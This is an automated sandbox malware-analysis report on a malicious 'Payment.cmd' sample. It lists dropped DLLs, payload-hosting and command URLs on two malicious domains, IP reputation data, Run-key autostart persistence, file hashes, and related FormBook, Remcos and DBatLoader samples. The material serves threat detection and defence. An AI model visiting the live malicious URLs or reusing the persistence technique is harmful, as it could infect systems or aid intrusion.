            C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-memory-l1-1-0.dll0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-namedpipe-l1-1-0.dll0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-processenvironment-l1-1-0.dll0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-processthreads-l1-1-0.dll0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-processthreads-l1-1-1.dll0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-profile-l1-1-0.dll0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-rtlsupport-l1-1-0.dll0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-string-l1-1-0.dll0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-synch-l1-1-0.dll0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-synch-l1-2-0.dll0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-sysinfo-l1-1-0.dll0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-timezone-l1-1-0.dll0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-util-l1-1-0.dll0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-crt-conio-l1-1-0.dll0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-crt-convert-l1-1-0.dll0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-crt-environment-l1-1-0.dll0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-crt-filesystem-l1-1-0.dll0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-crt-heap-l1-1-0.dll0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-crt-locale-l1-1-0.dll0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-crt-math-l1-1-0.dll0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-crt-multibyte-l1-1-0.dll0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-crt-private-l1-1-0.dll0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-crt-process-l1-1-0.dll0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-crt-runtime-l1-1-0.dll0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-crt-stdio-l1-1-0.dll0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-crt-string-l1-1-0.dll0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-crt-time-l1-1-0.dll0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-crt-utility-l1-1-0.dll0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\4A2B4331\freebl3.dll0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\4A2B4331\mozglue.dll0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\4A2B4331\msvcp140.dll0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\4A2B4331\nss3.dll0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\4A2B4331\nssdbm3.dll0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\4A2B4331\softokn3.dll0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\4A2B4331\ucrtbase.dll0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\4A2B4331\vcruntime140.dll0%ReversingLabs

            Unpacked PE Files

            ⊘No Antivirus matches

            Domains

            ⊘No Antivirus matches

            URLs

            SourceDetectionScannerLabelLink
            https://duckduckgo.com/chrome_newtab0%URL Reputationsafe
            https://duckduckgo.com/ac/?q=0%URL Reputationsafe
            https://sectigo.com/CPS00%URL Reputationsafe
            http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl00%URL Reputationsafe
            http://ocsp.sectigo.com00%URL Reputationsafe
            http://ocsp.thawte.com00%URL Reputationsafe
            http://ip-api.com/json0%URL Reputationsafe
            http://www.mozilla.com00%URL Reputationsafe
            https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=0%URL Reputationsafe
            https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=0%URL Reputationsafe
            http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#0%URL Reputationsafe
            https://www.ecosia.org/newtab/0%URL Reputationsafe
            https://ac.ecosia.org/autocomplete?q=0%URL Reputationsafe
            http://crl.thawte.com/ThawteTimestampingCA.crl00%URL Reputationsafe
            https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search0%URL Reputationsafe
            https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=0%URL Reputationsafe

            Domains and IPs

            Contacted Domains

            NameIPActiveMaliciousAntivirus DetectionReputation
            eaznetagencies.co.ke
            		170.10.161.45
            		truetrue
              		unknown
              dsye.shop
              		188.114.97.3
              		truetrue
                		unknown

                Contacted URLs

                NameMaliciousAntivirus DetectionReputation
                https://eaznetagencies.co.ke/yakmdrpfile/233_Xdptuvhugpwtrue
                  		unknown
                  http://dsye.shop/DS341/index.phptrue
                    		unknown

                    URLs from Memory and Binaries

                    NameSourceMaliciousAntivirus DetectionReputation
                    http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0AnyDesk.PIF, 0000000A.00000003.2215476747.000000007EF70000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.2280183782.000000007F2C0000.00000004.00001000.00020000.00000000.sdmpfalse
                      		unknown
                      http://darkick.rukn.exe, 00000009.00000003.2154637519.0000026FDE206000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000000.2156684817.0000000000478000.00000002.00000001.01000000.00000007.sdmp, AnyDesk.PIF, 0000000A.00000002.2280435287.000000007F3A0000.00000004.00001000.00020000.00000000.sdmp, esentutl.exe, 00000011.00000003.2246511637.0000000004DF0000.00000004.00001000.00020000.00000000.sdmpfalse
                        		unknown
                        https://%ws/%ws_%ws_%ws/service.svc/%wsADPolicyProviderSCEPkn.exe, 00000007.00000000.2138890380.00007FF6E3E9E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000007.00000002.2147096701.00007FF6E3E9E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000009.00000000.2149481923.00007FF6E3E9E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000009.00000002.2155391701.00007FF6E3E9E000.00000002.00000001.01000000.00000005.sdmpfalse
                          		unknown
                          https://duckduckgo.com/chrome_newtabuhvutpdX.pif, 00000013.00000003.2343759427.000000002517F000.00000004.00000020.00020000.00000000.sdmpfalse
                          • URL Reputation: safe
                          		unknown
                          https://login.microsoftonline.com/%s/oauth2/authorizekn.exefalse
                            		unknown
                            http://www.mozilla.com/en-US/blocklist/uhvutpdX.pif, 00000013.00000002.2432669429.0000000028620000.00000004.00001000.00020000.00000000.sdmpfalse
                              		unknown
                              https://duckduckgo.com/ac/?q=uhvutpdX.pif, 00000013.00000003.2343759427.000000002517F000.00000004.00000020.00020000.00000000.sdmpfalse
                              • URL Reputation: safe
                              		unknown
                              https://sectigo.com/CPS0AnyDesk.PIF, 0000000A.00000003.2215476747.000000007EF70000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.2280183782.000000007F2C0000.00000004.00001000.00020000.00000000.sdmpfalse
                              • URL Reputation: safe
                              		unknown
                              https://login.microsoftonline.com/%s/oauth2/tokenkn.exefalse
                                		unknown
                                https://www.google.com/images/branding/product/ico/googleg_lodp.icouhvutpdX.pif, 00000013.00000003.2343759427.000000002517F000.00000004.00000020.00020000.00000000.sdmpfalse
                                  		unknown
                                  http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0AnyDesk.PIF, 0000000A.00000003.2215476747.000000007EF70000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.2280183782.000000007F2C0000.00000004.00001000.00020000.00000000.sdmpfalse
                                  • URL Reputation: safe
                                  		unknown
                                  http://ocsp.sectigo.com0AnyDesk.PIF, 0000000A.00000003.2215476747.000000007EF70000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.2280183782.000000007F2C0000.00000004.00001000.00020000.00000000.sdmpfalse
                                  • URL Reputation: safe
                                  		unknown
                                  https://eaznetagencies.co.ke/AnyDesk.PIF, 0000000A.00000002.2246095892.000000000093E000.00000004.00000020.00020000.00000000.sdmptrue
                                    		unknown
                                    http://ocsp.thawte.com0uhvutpdX.pif, 00000013.00000002.2432669429.0000000028620000.00000004.00001000.00020000.00000000.sdmpfalse
                                    • URL Reputation: safe
                                    		unknown
                                    http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#AnyDesk.PIF, 0000000A.00000003.2215476747.000000007EF70000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.2280183782.000000007F2C0000.00000004.00001000.00020000.00000000.sdmpfalse
                                      		unknown
                                      http://ip-api.com/jsonAnyDesk.PIF, 0000000A.00000002.2278953732.0000000021B8F000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.2278953732.0000000021C29000.00000004.00001000.00020000.00000000.sdmp, uhvutpdX.pif, 00000013.00000001.2243838356.000000000047C000.00000040.00000001.00020000.00000000.sdmpfalse
                                      • URL Reputation: safe
                                      		unknown
                                      http://www.mozilla.com0uhvutpdX.pif, 00000013.00000002.2432669429.0000000028620000.00000004.00001000.00020000.00000000.sdmpfalse
                                      • URL Reputation: safe
                                      		unknown
                                      https://dotbit.me/a/AnyDesk.PIF, 0000000A.00000002.2278953732.0000000021B8F000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.2278953732.0000000021C29000.00000004.00001000.00020000.00000000.sdmp, uhvutpdX.pif, 00000013.00000001.2243838356.000000000047C000.00000040.00000001.00020000.00000000.sdmpfalse
                                        		unknown
                                        https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=uhvutpdX.pif, 00000013.00000003.2343759427.000000002517F000.00000004.00000020.00020000.00000000.sdmpfalse
                                        • URL Reputation: safe
                                        		unknown
                                        https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=uhvutpdX.pif, 00000013.00000003.2343759427.000000002517F000.00000004.00000020.00020000.00000000.sdmpfalse
                                        • URL Reputation: safe
                                        		unknown
                                        http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#AnyDesk.PIF, 0000000A.00000003.2215476747.000000007EF70000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.2280183782.000000007F2C0000.00000004.00001000.00020000.00000000.sdmpfalse
                                        • URL Reputation: safe
                                        		unknown
                                        https://eaznetagencies.co.ke/yakmdrpfile/233_XdptuvhugpwLLAnyDesk.PIF, 0000000A.00000002.2246095892.0000000000954000.00000004.00000020.00020000.00000000.sdmpfalse
                                          		unknown
                                          https://www.ecosia.org/newtab/uhvutpdX.pif, 00000013.00000003.2343759427.000000002517F000.00000004.00000020.00020000.00000000.sdmpfalse
                                          • URL Reputation: safe
                                          		unknown
                                          https://enterpriseregistration.windows.net/EnrollmentServer/key/kn.exefalse
                                            		unknown
                                            https://ac.ecosia.org/autocomplete?q=uhvutpdX.pif, 00000013.00000003.2343759427.000000002517F000.00000004.00000020.00020000.00000000.sdmpfalse
                                            • URL Reputation: safe
                                            		unknown
                                            https://eaznetagencies.co.ke/yakmdrpfile/233_XdptuvhugpwDLLAnyDesk.PIF, 0000000A.00000002.2246095892.0000000000954000.00000004.00000020.00020000.00000000.sdmpfalse
                                              		unknown
                                              https://login.microsoftonline.com/%s/oauth2/authorizeJoinStatusStorage::SetDefaultDiscoveryMetadatahkn.exe, 00000007.00000000.2138890380.00007FF6E3E9E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000007.00000002.2147096701.00007FF6E3E9E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000009.00000000.2149481923.00007FF6E3E9E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000009.00000002.2155391701.00007FF6E3E9E000.00000002.00000001.01000000.00000005.sdmpfalse
                                                		unknown
                                                http://crl.thawte.com/ThawteTimestampingCA.crl0uhvutpdX.pif, 00000013.00000002.2432669429.0000000028620000.00000004.00001000.00020000.00000000.sdmpfalse
                                                • URL Reputation: safe
                                                		unknown
                                                https://eaznetagencies.co.ke:443/yakmdrpfile/233_XdptuvhugpwAnyDesk.PIF, 0000000A.00000002.2246095892.000000000097E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                  		unknown
                                                  https://eaznetagencies.co.ke/yakmdrpfile/233_XdptuvhugpwZAnyDesk.PIF, 0000000A.00000002.2246095892.000000000097E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                    		unknown
                                                    https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/searchuhvutpdX.pif, 00000013.00000003.2343759427.000000002517F000.00000004.00000020.00020000.00000000.sdmpfalse
                                                    • URL Reputation: safe
                                                    		unknown
                                                    https://enterpriseregistration.windows.net/EnrollmentServer/DeviceEnrollmentWebService.svckn.exefalse
                                                      		unknown
                                                      http://darkick.w6.rukn.exe, 00000009.00000003.2154637519.0000026FDE206000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000000.2156684817.0000000000478000.00000002.00000001.01000000.00000007.sdmp, AnyDesk.PIF, 0000000A.00000002.2280435287.000000007F3A0000.00000004.00001000.00020000.00000000.sdmp, esentutl.exe, 00000011.00000003.2246511637.0000000004DF0000.00000004.00001000.00020000.00000000.sdmpfalse
                                                        		unknown
                                                        http://www.pmail.comAnyDesk.PIF, AnyDesk.PIF, 0000000A.00000002.2278953732.0000000021BAC000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.2250440235.0000000002ADE000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.2240697077.000000002187F000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.2275460552.0000000020910000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.2282008011.000000007FB20000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.2275460552.0000000020961000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.2240697077.00000000218DC000.00000004.00000020.00020000.00000000.sdmp, uhvutpdX.pif, 00000013.00000001.2243838356.000000000041D000.00000040.00000001.00020000.00000000.sdmp, uhvutpdX.pif, 00000013.00000000.2242435591.0000000000416000.00000002.00000001.01000000.0000000A.sdmpfalse
                                                          		unknown
                                                          https://%ws/%ws_%ws_%ws/service.svc/%wskn.exefalse
                                                            		unknown
                                                            https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=uhvutpdX.pif, 00000013.00000003.2343759427.000000002517F000.00000004.00000020.00020000.00000000.sdmpfalse
                                                            • URL Reputation: safe
                                                            		unknown
                                                            https://enterpriseregistration.windows.net/EnrollmentServer/device/kn.exefalse
                                                              		unknown
                                                              http://ocsp.sectigo.com0CAnyDesk.PIF, 0000000A.00000003.2215476747.000000007EF70000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.2280183782.000000007F2C0000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                		unknown

                                                                World Map of Contacted IPs

                                                                • No. of IPs < 25%
                                                                • 25% < No. of IPs < 50%
                                                                • 50% < No. of IPs < 75%
                                                                • 75% < No. of IPs

                                                                Public IPs

                                                                IPDomainCountryFlagASNASN NameMalicious
                                                                188.114.97.3
                                                                		dsye.shopEuropean Union
                                                                		13335CLOUDFLARENETUStrue
                                                                170.10.161.45
                                                                		eaznetagencies.co.keUnited States
                                                                		32748STEADFASTUStrue

                                                                Private

                                                                IP
                                                                127.0.0.1

                                                                General Information

                                                                Joe Sandbox version:41.0.0 Charoite
                                                                Analysis ID:1534923
                                                                Start date and time:2024-10-16 10:57:00 +02:00
                                                                Joe Sandbox product:CloudBasic
                                                                Overall analysis duration:0h 10m 19s
                                                                Hypervisor based Inspection enabled:false
                                                                Report type:full
                                                                Cookbook file name:default.jbs
                                                                Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                                Number of analysed new started processes analysed:41
                                                                Number of new started drivers analysed:0
                                                                Number of existing processes analysed:0
                                                                Number of existing drivers analysed:0
                                                                Number of injected processes analysed:0
                                                                Technologies:
                                                                • HCA enabled
                                                                • EGA enabled
                                                                • AMSI enabled
                                                                Analysis Mode:default
                                                                Analysis stop reason:Timeout
                                                                Sample name:Payment.cmd
                                                                Detection:MAL
                                                                Classification:mal100.phis.bank.troj.spyw.evad.winCMD@65/82@2/3
                                                                EGA Information:
                                                                • Successful, ratio: 100%
                                                                HCA Information:
                                                                • Successful, ratio: 100%
                                                                • Number of executed functions: 60
                                                                • Number of non-executed functions: 206
                                                                Cookbook Comments:
                                                                • Found application associated with file extension: .cmd

                                                                Warnings

                                                                • Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
                                                                • Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
                                                                • Not all processes where analyzed, report is missing behavior information
                                                                • Report creation exceeded maximum time and may have missing disassembly code information.
                                                                • Report size exceeded maximum capacity and may have missing behavior information.
                                                                • Report size exceeded maximum capacity and may have missing disassembly code.
                                                                • Report size getting too big, too many NtOpenFile calls found.
                                                                • Report size getting too big, too many NtOpenKeyEx calls found.
                                                                • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                                                • Report size getting too big, too many NtQueryAttributesFile calls found.
                                                                • Report size getting too big, too many NtQueryValueKey calls found.
                                                                • Report size getting too big, too many NtSetInformationFile calls found.
                                                                • Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                                                                • Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                                                                • VT rate limit hit for: Payment.cmd

                                                                Simulations

                                                                Behavior and APIs

                                                                TimeTypeDescription
                                                                04:57:55API Interceptor2x Sleep call for process: AnyDesk.PIF modified
                                                                04:58:14API Interceptor2x Sleep call for process: Xdptuvhu.PIF modified
                                                                10:58:06AutostartRun: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Xdptuvhu C:\Users\Public\Xdptuvhu.url
                                                                10:58:14AutostartRun: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Xdptuvhu C:\Users\Public\Xdptuvhu.url

                                                                Joe Sandbox View / Context

                                                                IPs

                                                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                188.114.97.3PO#001498.exeGet hashmaliciousFormBookBrowse
                                                                • www.freedietbuilder.online/nnla/?74=CqIQGQ0o8+jhRdpxbLSYPdAgtDYVEi+Bl2CfLfjcYft2NeK1a5UMcHptbiGPm/AWvx7/GdfV8RGwRyU2Pymh1JckOvVdcIiQ2qrvXFwlmsWwAHYeXtuMyAU=&jf=kjpL5
                                                                Hesap-hareketleriniz10-15-2024.exeGet hashmaliciousFormBookBrowse
                                                                • www.cc101.pro/59fb/
                                                                DHL AWB TRACKING DETAILS.exeGet hashmaliciousFormBookBrowse
                                                                • www.weight-loss-003.today/jd21/?4h=8QhlJgaEFCI3PDnW5e/NO/QAEgywgMMp9yv6yRtWAY1NzG57DnL+pjMXQcZEomtdONGp&pPQ=OJEtxf4
                                                                Hesap-hareketleriniz10-15-2024.exeGet hashmaliciousFormBookBrowse
                                                                • www.cc101.pro/59fb/
                                                                CENA.exeGet hashmaliciousFormBookBrowse
                                                                • www.freedietbuilder.online/nnla/
                                                                Salary Increase Letter_Oct 2024.vbsGet hashmaliciousRemcos, GuLoaderBrowse
                                                                • e4b1.shop/IopbjShW/OkxrjPAYllWRxqB113.bin
                                                                CI+PL_pdf.vbsGet hashmaliciousRemcos, GuLoaderBrowse
                                                                • h2zq.shop/sRNbiUpn/UOLneWlcZGknmye7.bin
                                                                AeYgxx6XFk.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                                                • kitaygorod.top/EternalProcessorMultiwordpressdleTempcentraltemporary.php
                                                                http://host.cloudsonicwave.comGet hashmaliciousUnknownBrowse
                                                                • host.cloudsonicwave.com/favicon.ico
                                                                alWUxZvrvU.exeGet hashmaliciousFormBookBrowse
                                                                • www.avantfize.shop/q8x9/

                                                                Domains

                                                                ⊘No context

                                                                ASNs

                                                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                CLOUDFLARENETUSBernard Vermeiren shared 'Tech Marine Srl 15102024' with you (568Ko).msgGet hashmaliciousHTMLPhisherBrowse
                                                                • 188.114.96.3
                                                                #U898b#U7a4d#U4f9d#U983c.exeGet hashmaliciousSnake KeyloggerBrowse
                                                                • 188.114.96.3
                                                                file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                                                • 172.67.206.204
                                                                PO#001498.exeGet hashmaliciousFormBookBrowse
                                                                • 188.114.97.3
                                                                https://guillaumerobin.com/djvjnvdjndjvjnjnvjnvdjn.htmlGet hashmaliciousUnknownBrowse
                                                                • 104.18.40.68
                                                                http://Evie.nativeroads.net/open.aspx?ffcb10-fec7157773620479-fe5117777c63077b7210-fe3b11727364047e711470-ff981172-fe4910787d620d747112-ff61137775&d=120023&bmt=0Get hashmaliciousEvilProxy, HTMLPhisherBrowse
                                                                • 188.114.97.3
                                                                file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC StealerBrowse
                                                                • 104.21.53.8
                                                                jYDYjpSbvf.exeGet hashmaliciousLummaC, Amadey, Clipboard Hijacker, LummaC Stealer, RedLine, SmokeLoader, StealcBrowse
                                                                • 104.21.21.16
                                                                SecuriteInfo.com.Win32.MalwareX-gen.18789.18997.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                • 188.114.97.3
                                                                Y2BLnimBs5.exeGet hashmaliciousLummaCBrowse
                                                                • 172.67.206.204
                                                                STEADFASTUSHqvlYZC7Gf.exeGet hashmaliciousUnknownBrowse
                                                                • 208.100.26.245
                                                                PO-DGA77_MATERIALS_SPECIFICATIONS.scr.exeGet hashmaliciousPureLog Stealer, RedLineBrowse
                                                                • 208.100.26.245
                                                                https://finaltestwebsite.duckdns.org/UpdateVerifyPrss!/Scotiabank/index.phpGet hashmaliciousHTMLPhisherBrowse
                                                                • 67.202.105.24
                                                                https://www.finaltestwebsite.duckdns.org/UpdateVerifyPrss!/Scotiabank/?key=5050d2156464f8b75b40f3d8cba168a3d4aa145eGet hashmaliciousHTMLPhisherBrowse
                                                                • 67.202.105.24
                                                                https://hy.markkasmick.click/cx/tbSgVco_akr35UznLBgMmL_dGwr4A9B_vyg2WwEB0w1LRjKjQMyEnB89mCfTRy8oqnbpdFunqinBhx0TsHvSJdUHnbksc3kdcKecoDvVHa5LAm46at*Mm*Ro3D2CHoEu2bmOqt4Ic8O_7AE7Igwgbi5c8zmZf6Fqp*_XqcjREPr7609oL7vKm8FfjGLhMetr2oxtpR3ywH4BUElgc7EI7usxj8CJYEUMktwlb7YUzPvYQ7P1PilEV0LqiXI5sm6QVF4ZGl5TIXhnQLOG0kl6WQ0miiZysBfhaNojnPTUvisUUkwOp2fYTxkXEIhZ7ESJ7qXYLxQbm*y4RJVeZZZ3RY5rX8W5t8cudSM9Zx7UaxgLH56aOv81v4QfUnzroT9v*7LR3jPEjz*YXr2LwuykYQnzvV6boWl*o*gU4jkPE6MocRRlRoC6uUx2e1Wseo8MqGWTT2uXo4HbQDneiMF84sQ34*3TnbAxXWu8xLbb_mAOQxUTA3T5TUUZKeU3ziolM8TSVV5Y5LQTFGtNArddwJKdWCb_cLYMxUJpZ3cqM_AGet hashmaliciousUnknownBrowse
                                                                • 67.202.105.31
                                                                https://shawri.weebly.com/Get hashmaliciousHTMLPhisherBrowse
                                                                • 67.202.105.21
                                                                na.elfGet hashmaliciousUnknownBrowse
                                                                • 208.117.150.154
                                                                https://lessonfulladvocating.z19.web.core.windows.net/Get hashmaliciousAnonymous ProxyBrowse
                                                                • 67.202.105.34
                                                                PO-NBQ73652_ORDER_T637MOO746_MATERIALS_SIZES-PDF.scr.exeGet hashmaliciousPureLog Stealer, RedLineBrowse
                                                                • 208.100.26.245
                                                                https://link.edgepilot.com/s/a60b2ad0/3dLZ9fawZkK45-vRV49QDQ?u=https://accounts.timesoftint.com/Get hashmaliciousUnknownBrowse
                                                                • 170.10.161.168

                                                                JA3 Fingerprints

                                                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                a0e9f5d64349fb13191bc781f81f42e1file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                                                • 170.10.161.45
                                                                file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC StealerBrowse
                                                                • 170.10.161.45
                                                                Y2BLnimBs5.exeGet hashmaliciousLummaCBrowse
                                                                • 170.10.161.45
                                                                ql0RA2cKZu.exeGet hashmaliciousLummaCBrowse
                                                                • 170.10.161.45
                                                                cgk28vO4MP.exeGet hashmaliciousLummaCBrowse
                                                                • 170.10.161.45
                                                                wW6ULNw7YA.exeGet hashmaliciousLummaCBrowse
                                                                • 170.10.161.45
                                                                QI5XTwApQL.exeGet hashmaliciousLummaCBrowse
                                                                • 170.10.161.45
                                                                PtjwquTDmJ.exeGet hashmaliciousLummaCBrowse
                                                                • 170.10.161.45
                                                                c8p9czsIyN.exeGet hashmaliciousLummaCBrowse
                                                                • 170.10.161.45
                                                                F2CatMFE6M.exeGet hashmaliciousLummaCBrowse
                                                                • 170.10.161.45

                                                                Dropped Files

                                                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                C:\Users\Public\Libraries\uhvutpdX.pifORDER_DOCU_NWQ89403984-DETAILS.MPEG.PNG.CMD.cmdGet hashmaliciousAgentTesla, DBatLoaderBrowse
                                                                  ORDER_DOCUMENT_PO_GQB793987646902.TXT.MPEG.PNG.CMD.cmdGet hashmaliciousAgentTesla, DBatLoaderBrowse
                                                                    Julcbozqsvtzlo.cmdGet hashmaliciousRemcos, AveMaria, DBatLoader, PrivateLoader, UACMeBrowse
                                                                      Confirmation.docx.exeGet hashmaliciousDBatLoader, LokibotBrowse
                                                                        ZG7UaFRPVW.exeGet hashmaliciousDBatLoader, RemcosBrowse
                                                                          IN-34823_PO39276-pdf.vbeGet hashmaliciousRemcos, DBatLoaderBrowse
                                                                            7XU2cRFInT.exeGet hashmaliciousRemcos, DBatLoaderBrowse
                                                                              megerosites.cmdGet hashmaliciousDBatLoader, LokibotBrowse
                                                                                Scan_SKMBT_EPDA _ SOA_Payment Reference TR-37827392-2024-07-24.Pdf.exeGet hashmaliciousRemcos, DBatLoaderBrowse
                                                                                  Payroll for July.exeGet hashmaliciousRemcos, DBatLoaderBrowse

                                                                                    Created / dropped Files

                                                                                    C:\Users\Public\AnyDesk.3GP

                                                                                    Download File
                                                                                    Process:C:\Users\Public\kn.exe
                                                                                    File Type:ASCII text, with CRLF line terminators
                                                                                    Category:dropped
                                                                                    Size (bytes):4240480
                                                                                    Entropy (8bit):3.757430951505169
                                                                                    Encrypted:false
                                                                                    SSDEEP:24576:Q/ds80j3+XBZrC7emyMPvJKRDTtnq9dra9hhT6AYNkTzuqzsT7fmY:7
                                                                                    MD5:2A41615601A8E0D9386875E6E28B5BBE
                                                                                    SHA1:9EE7DC4B04D5D61C94251F5ABD32F11487D9F516
                                                                                    SHA-256:B4AC81F671400ACB4FF98531632690C01963C97FDAC978A284251646A570F6C2
                                                                                    SHA-512:5E2DBDC6F7B958722143ABC6BAC01E4D3A4508EE6ECC0146136C8E3176A3628D82F6920BFFAA03D401CF8E17B96725A2293CA6FCC5F46584ACB76FF923E18E5D
                                                                                    Malicious:false
